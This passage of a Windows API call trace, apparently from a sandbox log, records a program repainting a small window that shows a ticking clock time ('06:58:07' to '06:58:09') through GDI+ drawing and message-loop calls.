0xf75c20 [0165.588] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0165.588] LocalFree (hMem=0xf75c20) returned 0x0 [0165.588] GdipCombineRegionRegion (region=0x6922260, region2=0x6921f70, combineMode=0x1) returned 0x0 [0165.588] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0165.588] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0165.588] LocalFree (hMem=0xf75bb0) returned 0x0 [0165.588] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0165.588] GdipIsInfiniteRegion (region=0x6922260, graphics=0x6921c90, result=0x19e7c0) returned 0x0 [0165.588] GdipIsInfiniteRegion (region=0x6922260, graphics=0x6921c90, result=0x19e7b0) returned 0x0 [0165.588] GdipGetRegionHRgn (region=0x6922260, graphics=0x6921c90, hRgn=0x19e7b0) returned 0x0 [0165.588] GdipDeleteRegion (region=0x6922260) returned 0x0 [0165.588] GdipGetDC (graphics=0x6921c90, hdc=0x19e7c8) returned 0x0 [0165.588] GetCurrentObject (hdc=0x56010738, type=0x1) returned 0xb00017 [0165.588] GetCurrentObject (hdc=0x56010738, type=0x2) returned 0x900010 [0165.588] GetCurrentObject (hdc=0x56010738, type=0x7) returned 0x8050721 [0165.588] GetCurrentObject (hdc=0x56010738, type=0x6) returned 0x8a01c2 [0165.588] SaveDC (hdc=0x56010738) returned 1 [0165.588] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1104070e [0165.588] GetClipRgn (hdc=0x56010738, hrgn=0x1104070e) returned 0 [0165.588] SelectClipRgn (hdc=0x56010738, hrgn=0x850406f7) returned 2 [0165.589] DeleteObject (ho=0x1104070e) returned 1 [0165.589] DeleteObject (ho=0x850406f7) returned 1 [0165.589] OffsetViewportOrgEx (in: hdc=0x56010738, x=0, y=0, lppt=0x304f2dc | out: lppt=0x304f2dc) returned 1 [0165.589] GetNearestColor (hdc=0x56010738, color=0x22a3f8) returned 0x22a3f8 [0165.589] CreateSolidBrush (color=0x22a3f8) returned 0x2510073a [0165.589] FillRect (hDC=0x56010738, lprc=0x19e7cc, hbr=0x2510073a) returned 1 [0165.589] DeleteObject (ho=0x2510073a) returned 1 [0165.589] RestoreDC (hdc=0x56010738, nSavedDC=-1) returned 1 [0165.589] GdipReleaseDC (graphics=0x6921c90, hdc=0x56010738) returned 0x0 [0165.589] GdipRestoreGraphics (graphics=0x6921c90, state=0xfd330dbd) returned 0x0 [0165.589] GdipDeleteRegion (region=0x6921f70) returned 0x0 [0165.589] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0165.589] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0165.589] GetSystemMetrics (nIndex=42) returned 0 [0165.589] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:07") returned 8 [0165.589] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0165.589] GdipGetDC (graphics=0x6921c90, hdc=0x19e7e8) returned 0x0 [0165.589] GetCurrentObject (hdc=0x56010738, type=0x1) returned 0xb00017 [0165.589] GetCurrentObject (hdc=0x56010738, type=0x2) returned 0x900010 [0165.589] GetCurrentObject (hdc=0x56010738, type=0x7) returned 0x8050721 [0165.589] GetCurrentObject (hdc=0x56010738, type=0x6) returned 0x8a01c2 [0165.590] GdipReleaseDC (graphics=0x6921c90, hdc=0x56010738) returned 0x0 [0165.590] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0165.590] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0165.590] GdipGetTextRenderingHint (graphics=0x6921c90, mode=0x19e788) returned 0x0 [0165.590] GdipGetDC (graphics=0x6921c90, hdc=0x19e774) returned 0x0 [0165.590] GetCurrentObject (hdc=0x56010738, type=0x1) returned 0xb00017 [0165.590] GetCurrentObject (hdc=0x56010738, type=0x2) returned 0x900010 [0165.590] GetCurrentObject (hdc=0x56010738, type=0x7) returned 0x8050721 [0165.590] GetCurrentObject (hdc=0x56010738, type=0x6) returned 0x8a01c2 [0165.590] SaveDC (hdc=0x56010738) returned 1 [0165.590] GetTextAlign (hdc=0x56010738) returned 0x0 [0165.590] GetTextColor (hdc=0x56010738) returned 0x0 [0165.590] GetCurrentObject (hdc=0x56010738, type=0x6) returned 0x8a01c2 [0165.591] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0165.591] SelectObject (hdc=0x56010738, h=0x4f0a0711) returned 0x8a01c2 [0165.591] GetBkMode (hdc=0x56010738) returned 2 [0165.591] SetBkMode (hdc=0x56010738, mode=1) returned 2 [0165.591] DrawTextExW (in: hdc=0x56010738, lpchText="06:58:07", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x304f770 | out: lpchText="06:58:07", lprc=0x19e708) returned 50 [0165.591] RestoreDC (hdc=0x56010738, nSavedDC=-1) returned 1 [0165.591] GdipReleaseDC (graphics=0x6921c90, hdc=0x56010738) returned 0x0 [0165.591] GdipGetDC (graphics=0x6921c90, hdc=0x19e924) returned 0x0 [0165.591] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=154, cy=50, hdcSrc=0x56010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0165.592] GdipReleaseDC (graphics=0x6921c90, hdc=0x56010738) returned 0x0 [0165.592] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0165.592] SelectObject (hdc=0x56010738, h=0x85000f) returned 0x8050721 [0165.592] GdipDeleteGraphics (graphics=0x6921c90) returned 0x0 [0165.592] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0165.592] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0165.592] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0165.592] WaitMessage () returned 1 [0166.580] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0166.580] IsWindowUnicode (hWnd=0x50074) returned 1 [0166.580] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0166.580] TranslateMessage (lpMsg=0x19ee78) returned 0 [0166.580] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0166.581] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0166.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0166.581] GetSystemMetrics (nIndex=42) returned 0 [0166.581] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:07") returned 8 [0166.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0166.581] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0166.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0166.581] GetSystemMetrics (nIndex=42) returned 0 [0166.581] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:07") returned 8 [0166.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0166.581] SetWindowTextW (hWnd=0x20236, lpString="06:58:08") [0166.581] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x304f814) [0166.581] GetStockObject (i=5) returned 0x900015 [0166.582] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0166.582] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0166.582] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:08", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x304fa04 | out: lpchText="06:58:08", lprc=0x19e938) returned 50 [0166.582] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0166.582] IsWindowUnicode (hWnd=0x20236) returned 1 [0166.582] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0166.582] TranslateMessage (lpMsg=0x19ee78) returned 0 [0166.582] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0166.582] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x1e0106e1 [0166.583] SelectPalette (hdc=0x1e0106e1, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0166.583] GdipCreateFromHDC (hdc=0x57010738, graphics=0x19e8e4) returned 0x0 [0166.583] GdipTranslateWorldTransform (graphics=0x6921c90, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0166.583] GdipSetClipRectI (graphics=0x6921c90, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0166.583] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0166.583] GdipGetWorldTransform (graphics=0x6921c90, matrix=0x69206e8) returned 0x0 [0166.583] GdipIsMatrixIdentity (matrix=0x69206e8, result=0x19e944) returned 0x0 [0166.583] GdipGetMatrixElements (matrix=0x69206e8, matrixOut=0xf75bb0) returned 0x0 [0166.583] LocalFree (hMem=0xf75bb0) returned 0x0 [0166.583] GdipDeleteMatrix (matrix=0x69206e8) returned 0x0 [0166.583] GdipCreateRegion (region=0x19e92c) returned 0x0 [0166.583] GdipGetClip (graphics=0x6921c90, region=0x6921f70) returned 0x0 [0166.583] GdipIsInfiniteRegion (region=0x6921f70, graphics=0x6921c90, result=0x19e938) returned 0x0 [0166.584] GdipSaveGraphics (graphics=0x6921c90, state=0x19e964) returned 0x0 [0166.584] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0166.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0166.584] GetSystemMetrics (nIndex=42) returned 0 [0166.584] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:08") returned 8 [0166.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0166.584] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0166.584] GdipCreateRegion (region=0x19e780) returned 0x0 [0166.584] GdipGetClip (graphics=0x6921c90, region=0x6922260) returned 0x0 [0166.584] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0166.584] GdipGetWorldTransform (graphics=0x6921c90, matrix=0x6915f08) returned 0x0 [0166.584] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0166.584] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75c20 [0166.584] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75c20) returned 0x0 [0166.584] LocalFree (hMem=0xf75c20) returned 0x0 [0166.584] GdipCombineRegionRegion (region=0x6922260, region2=0x6921f70, combineMode=0x1) returned 0x0 [0166.584] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0166.584] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0166.584] LocalFree (hMem=0xf75bb0) returned 0x0 [0166.584] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0166.584] GdipIsInfiniteRegion (region=0x6922260, graphics=0x6921c90, result=0x19e7c0) returned 0x0 [0166.584] GdipIsInfiniteRegion (region=0x6922260, graphics=0x6921c90, result=0x19e7b0) returned 0x0 [0166.584] GdipGetRegionHRgn (region=0x6922260, graphics=0x6921c90, hRgn=0x19e7b0) returned 0x0 [0166.584] GdipDeleteRegion (region=0x6922260) returned 0x0 [0166.584] GdipGetDC (graphics=0x6921c90, hdc=0x19e7c8) returned 0x0 [0166.584] GetCurrentObject (hdc=0x57010738, type=0x1) returned 0xb00017 [0166.584] GetCurrentObject (hdc=0x57010738, type=0x2) returned 0x900010 [0166.584] GetCurrentObject (hdc=0x57010738, type=0x7) returned 0x8050721 [0166.585] GetCurrentObject (hdc=0x57010738, type=0x6) returned 0x8a01c2 [0166.585] SaveDC (hdc=0x57010738) returned 1 [0166.585] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x860406f7 [0166.585] GetClipRgn (hdc=0x57010738, hrgn=0x860406f7) returned 0 [0166.585] SelectClipRgn (hdc=0x57010738, hrgn=0x1404070e) returned 2 [0166.585] DeleteObject (ho=0x860406f7) returned 1 [0166.585] DeleteObject (ho=0x1404070e) returned 1 [0166.585] OffsetViewportOrgEx (in: hdc=0x57010738, x=0, y=0, lppt=0x304fdd4 | out: lppt=0x304fdd4) returned 1 [0166.585] GetNearestColor (hdc=0x57010738, color=0x22a3f8) returned 0x22a3f8 [0166.585] CreateSolidBrush (color=0x22a3f8) returned 0x2610073a [0166.585] FillRect (hDC=0x57010738, lprc=0x19e7cc, hbr=0x2610073a) returned 1 [0166.585] DeleteObject (ho=0x2610073a) returned 1 [0166.585] RestoreDC (hdc=0x57010738, nSavedDC=-1) returned 1 [0166.585] GdipReleaseDC (graphics=0x6921c90, hdc=0x57010738) returned 0x0 [0166.585] GdipRestoreGraphics (graphics=0x6921c90, state=0xfd310dbd) returned 0x0 [0166.585] GdipDeleteRegion (region=0x6921f70) returned 0x0 [0166.585] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0166.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0166.585] GetSystemMetrics (nIndex=42) returned 0 [0166.585] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:08") returned 8 [0166.585] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0166.585] GdipGetDC (graphics=0x6921c90, hdc=0x19e7e8) returned 0x0 [0166.585] GetCurrentObject (hdc=0x57010738, type=0x1) returned 0xb00017 [0166.585] GetCurrentObject (hdc=0x57010738, type=0x2) returned 0x900010 [0166.586] GetCurrentObject (hdc=0x57010738, type=0x7) returned 0x8050721 [0166.586] GetCurrentObject (hdc=0x57010738, type=0x6) returned 0x8a01c2 [0166.586] SaveDC (hdc=0x57010738) returned 1 [0166.586] GetNearestColor (hdc=0x57010738, color=0x0) returned 0x0 [0166.586] RestoreDC (hdc=0x57010738, nSavedDC=-1) returned 1 [0166.586] GdipReleaseDC (graphics=0x6921c90, hdc=0x57010738) returned 0x0 [0166.586] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0166.586] AdjustWindowRectEx (in: lpRect=0x19e708, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e708) returned 1 [0166.586] GdipGetTextRenderingHint (graphics=0x6921c90, mode=0x19e788) returned 0x0 [0166.586] GdipGetDC (graphics=0x6921c90, hdc=0x19e774) returned 0x0 [0166.586] GetCurrentObject (hdc=0x57010738, type=0x1) returned 0xb00017 [0166.586] GetCurrentObject (hdc=0x57010738, type=0x2) returned 0x900010 [0166.586] GetCurrentObject (hdc=0x57010738, type=0x7) returned 0x8050721 [0166.586] GetCurrentObject (hdc=0x57010738, type=0x6) returned 0x8a01c2 [0166.587] SaveDC (hdc=0x57010738) returned 1 [0166.587] GetTextAlign (hdc=0x57010738) returned 0x0 [0166.587] GetTextColor (hdc=0x57010738) returned 0x0 [0166.587] GetCurrentObject (hdc=0x57010738, type=0x6) returned 0x8a01c2 [0166.587] GetObjectW (in: h=0x8a01c2, c=92, pv=0x19e4bc | out: pv=0x19e4bc) returned 92 [0166.587] SelectObject (hdc=0x57010738, h=0x4f0a0711) returned 0x8a01c2 [0166.587] GetBkMode (hdc=0x57010738) returned 2 [0166.587] SetBkMode (hdc=0x57010738, mode=1) returned 2 [0166.587] DrawTextExW (in: hdc=0x57010738, lpchText="06:58:08", cchText=8, lprc=0x19e708, format=0x100000, lpdtp=0x3050268 | out: lpchText="06:58:08", lprc=0x19e708) returned 50 [0166.587] RestoreDC (hdc=0x57010738, nSavedDC=-1) returned 1 [0166.588] GdipReleaseDC (graphics=0x6921c90, hdc=0x57010738) returned 0x0 [0166.588] GdipGetDC (graphics=0x6921c90, hdc=0x19e924) returned 0x0 [0166.588] BitBlt (hdc=0x1e0106e1, x=0, y=0, cx=154, cy=50, hdcSrc=0x57010738, x1=0, y1=0, rop=0xcc0020) returned 1 [0166.588] GdipReleaseDC (graphics=0x6921c90, hdc=0x57010738) returned 0x0 [0166.588] SelectPalette (hdc=0x1e0106e1, hPal=0x88000b, bForceBkgd=0) returned 0x4d080627 [0166.588] SelectObject (hdc=0x57010738, h=0x85000f) returned 0x8050721 [0166.588] DeleteDC (hdc=0x57010738) returned 1 [0166.588] GdipDeleteGraphics (graphics=0x6921c90) returned 0x0 [0166.588] EndPaint (hWnd=0x20236, lpPaint=0x19e8c8) returned 1 [0166.589] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0166.589] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 0 [0166.589] WaitMessage () returned 1 [0167.579] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.579] IsWindowUnicode (hWnd=0x50074) returned 1 [0167.579] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.579] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.579] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.579] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0167.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0167.579] GetSystemMetrics (nIndex=42) returned 0 [0167.579] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea9c, nMaxCount=9 | out: lpString="06:58:08") returned 8 [0167.579] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea9c) returned 0x8 [0167.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0167.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0167.580] GetSystemMetrics (nIndex=42) returned 0 [0167.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19ea98, nMaxCount=9 | out: lpString="06:58:08") returned 8 [0167.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19ea98) returned 0x8 [0167.580] SetWindowTextW (hWnd=0x20236, lpString="06:58:09") returned 1 [0167.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xc, wParam=0x0, lParam=0x305030c) returned 0x1 [0167.580] GetStockObject (i=5) returned 0x900015 [0167.580] GetDlgItem (hDlg=0x2022c, nIDDlgItem=131638) returned 0x20236 [0167.580] SendMessageW (hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0167.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0x202b, wParam=0x20236, lParam=0x19e5a4) returned 0x0 [0167.580] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0167.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0167.580] GetSystemMetrics (nIndex=42) returned 0 [0167.580] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e9bc, nMaxCount=9 | out: lpString="06:58:09") returned 8 [0167.580] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e9bc) returned 0x8 [0167.580] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6ff00000 [0167.581] AdjustWindowRectEx (in: lpRect=0x19e94c, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x19e94c) returned 1 [0167.581] DrawTextExW (in: hdc=0x8e0106dd, lpchText="06:58:09", cchText=8, lprc=0x19e938, format=0x102400, lpdtp=0x30504e0 | out: lpchText="06:58:09", lprc=0x19e938) returned 50 [0167.581] InvalidateRect (hWnd=0x20236, lpRect=0x0, bErase=1) returned 1 [0167.581] GetWindowTextLengthW (hWnd=0x2022c) returned 0 [0167.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0167.581] GetSystemMetrics (nIndex=42) returned 0 [0167.581] GetWindowTextW (in: hWnd=0x2022c, lpString=0x19e9fc, nMaxCount=1 | out: lpString="") returned 0 [0167.581] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x2022c, Msg=0xd, wParam=0x1, lParam=0x19e9fc) returned 0x0 [0167.581] PeekMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.581] IsWindowUnicode (hWnd=0x20236) returned 1 [0167.581] GetMessageW (in: lpMsg=0x19ee78, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x19ee78) returned 1 [0167.581] TranslateMessage (lpMsg=0x19ee78) returned 0 [0167.581] DispatchMessageW (lpMsg=0x19ee78) returned 0x0 [0167.581] BeginPaint (in: hWnd=0x20236, lpPaint=0x19e8cc | out: lpPaint=0x19e8cc) returned 0x10105d6 [0167.582] SelectPalette (hdc=0x10105d6, hPal=0x4d080627, bForceBkgd=1) returned 0x88000b [0167.582] CreateCompatibleDC (hdc=0x10105d6) returned 0xd010723 [0167.582] SelectObject (hdc=0xd010723, h=0x8050721) returned 0x85000f [0167.582] GdipCreateFromHDC (hdc=0xd010723, graphics=0x19e8e4) returned 0x0 [0167.582] GdipTranslateWorldTransform (graphics=0x6921c90, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0167.582] GdipSetClipRectI (graphics=0x6921c90, x=0, y=0, width=154, height=50, combineMode=0x0) returned 0x0 [0167.582] GdipCreateMatrix (matrix=0x19e92c) returned 0x0 [0167.582] GdipGetWorldTransform (graphics=0x6921c90, matrix=0x69206e8) returned 0x0 [0167.582] GdipIsMatrixIdentity (matrix=0x69206e8, result=0x19e944) returned 0x0 [0167.582] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0167.582] GdipGetMatrixElements (matrix=0x69206e8, matrixOut=0xf75bb0) returned 0x0 [0167.582] LocalFree (hMem=0xf75bb0) returned 0x0 [0167.582] GdipDeleteMatrix (matrix=0x69206e8) returned 0x0 [0167.582] GdipCreateRegion (region=0x19e92c) returned 0x0 [0167.582] GdipGetClip (graphics=0x6921c90, region=0x6921f70) returned 0x0 [0167.582] GdipIsInfiniteRegion (region=0x6921f70, graphics=0x6921c90, result=0x19e938) returned 0x0 [0167.582] GdipSaveGraphics (graphics=0x6921c90, state=0x19e964) returned 0x0 [0167.582] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0167.582] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0167.582] GetSystemMetrics (nIndex=42) returned 0 [0167.582] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:09") returned 8 [0167.582] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0167.582] GetClientRect (in: hWnd=0x20236, lpRect=0x19e92c | out: lpRect=0x19e92c) returned 1 [0167.582] GdipCreateRegion (region=0x19e780) returned 0x0 [0167.583] GdipGetClip (graphics=0x6921c90, region=0x6922260) returned 0x0 [0167.583] GdipCreateMatrix (matrix=0x19e780) returned 0x0 [0167.583] GdipGetWorldTransform (graphics=0x6921c90, matrix=0x6915f08) returned 0x0 [0167.583] GdipIsMatrixIdentity (matrix=0x6915f08, result=0x19e798) returned 0x0 [0167.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0167.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0167.583] LocalFree (hMem=0xf75bb0) returned 0x0 [0167.583] GdipCombineRegionRegion (region=0x6922260, region2=0x6921f70, combineMode=0x1) returned 0x0 [0167.583] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0xf75bb0 [0167.583] GdipGetMatrixElements (matrix=0x6915f08, matrixOut=0xf75bb0) returned 0x0 [0167.583] LocalFree (hMem=0xf75bb0) returned 0x0 [0167.583] GdipDeleteMatrix (matrix=0x6915f08) returned 0x0 [0167.583] GdipIsInfiniteRegion (region=0x6922260, graphics=0x6921c90, result=0x19e7c0) returned 0x0 [0167.583] GdipIsInfiniteRegion (region=0x6922260, graphics=0x6921c90, result=0x19e7b0) returned 0x0 [0167.583] GdipGetRegionHRgn (region=0x6922260, graphics=0x6921c90, hRgn=0x19e7b0) returned 0x0 [0167.583] GdipDeleteRegion (region=0x6922260) returned 0x0 [0167.583] GdipGetDC (graphics=0x6921c90, hdc=0x19e7c8) returned 0x0 [0167.583] GetCurrentObject (hdc=0xd010723, type=0x1) returned 0xb00017 [0167.583] GetCurrentObject (hdc=0xd010723, type=0x2) returned 0x900010 [0167.583] GetCurrentObject (hdc=0xd010723, type=0x7) returned 0x8050721 [0167.583] GetCurrentObject (hdc=0xd010723, type=0x6) returned 0x8a01c2 [0167.583] SaveDC (hdc=0xd010723) returned 1 [0167.583] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1504070e [0167.583] GetClipRgn (hdc=0xd010723, hrgn=0x1504070e) returned 0 [0167.583] SelectClipRgn (hdc=0xd010723, hrgn=0x890406f7) returned 2 [0167.583] DeleteObject (ho=0x1504070e) returned 1 [0167.584] DeleteObject (ho=0x890406f7) returned 1 [0167.584] OffsetViewportOrgEx (in: hdc=0xd010723, x=0, y=0, lppt=0x30508b0 | out: lppt=0x30508b0) returned 1 [0167.584] GetNearestColor (hdc=0xd010723, color=0x22a3f8) returned 0x22a3f8 [0167.584] CreateSolidBrush (color=0x22a3f8) returned 0x2710073a [0167.584] FillRect (hDC=0xd010723, lprc=0x19e7cc, hbr=0x2710073a) returned 1 [0167.584] DeleteObject (ho=0x2710073a) returned 1 [0167.584] RestoreDC (hdc=0xd010723, nSavedDC=-1) returned 1 [0167.584] GdipReleaseDC (graphics=0x6921c90, hdc=0xd010723) returned 0x0 [0167.584] GdipRestoreGraphics (graphics=0x6921c90, state=0xfd2f0dbd) returned 0x0 [0167.584] GdipDeleteRegion (region=0x6921f70) returned 0x0 [0167.584] GetWindowTextLengthW (hWnd=0x20236) returned 8 [0167.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x8 [0167.584] GetSystemMetrics (nIndex=42) returned 0 [0167.584] GetWindowTextW (in: hWnd=0x20236, lpString=0x19e86c, nMaxCount=9 | out: lpString="06:58:09") returned 8 [0167.584] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x20236, Msg=0xd, wParam=0x9, lParam=0x19e86c) returned 0x8 [0167.584] GdipGetDC (graphics=0x6921c90, hdc=0x19e7e8) returned 0x0 [0167.584] GetCurrentObject (hdc=0xd010723, type=0x1) returned 0xb00017 [0167.584] GetCurrentObject (hdc=0xd010723, type=0x2) returned 0x900010 [0167.584] GetCurrentObject (hdc=0xd010723, type=0x7) returned 0x8050721 [0167.584] GetCurrentObject (hdc=0xd010723, type=0x6) returned 0x8a01c2 [0167.584] SaveDC (hdc=0xd010723) returned 1 [0167.584] GetNearestColor (hdc=0xd010723, color=0x0) returned 0x0 [0167.584] RestoreDC (hdc=0xd010723, nSavedDC=-1) returned 1 [0167.584] GdipReleaseDC 